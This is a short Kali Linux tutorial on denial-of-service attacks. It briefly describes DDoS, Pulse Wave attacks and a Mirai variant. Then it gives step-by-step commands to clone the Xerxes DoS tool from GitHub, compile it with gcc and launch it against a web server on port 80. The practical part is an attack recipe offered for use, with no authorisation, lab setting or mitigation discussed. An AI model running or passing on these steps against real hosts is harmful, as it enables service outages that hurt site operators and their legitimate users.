In this Kali Linux Tutorial, we show you how to use Xerxes in launching a DOS attack. DDOS tools are capable of putting heavy loads on HTTP servers and bring them to their knees by exhausting its resources.
What is DOS attack?
Type of attack which floods servers or networks which results in making the source inaccessible for the legitimate users.
Recently hackers introduced a new pattern of DDOS attack named Pulse wave which is capable of pin down Multiple targets, Pulse Wave doesn’t have ramp-up period as like classic DDoS attack all the sources are committed once and continued over its duration.
Also, the Mirai bot which used in targeting a College in the US, lasts for more than 54 Hours continuously and researchers believe it is a new variant of Mirai, one that is “more adept at launching application layer assaults.”
Xerxes – Kali Linux Tutorial
This tool was committed on Github by zanyarjamal, it is one of the simple and most powerful DOS tools. To clone the tool from Github.
git clone https://github.com/zanyarjamal/xerxes.git
Then navigate to the cloned folder.
Next, You Should compile with GNU GCC compiler
gcc xerxes.c -o xerxes
To launch the attack
./xerxes example.com 80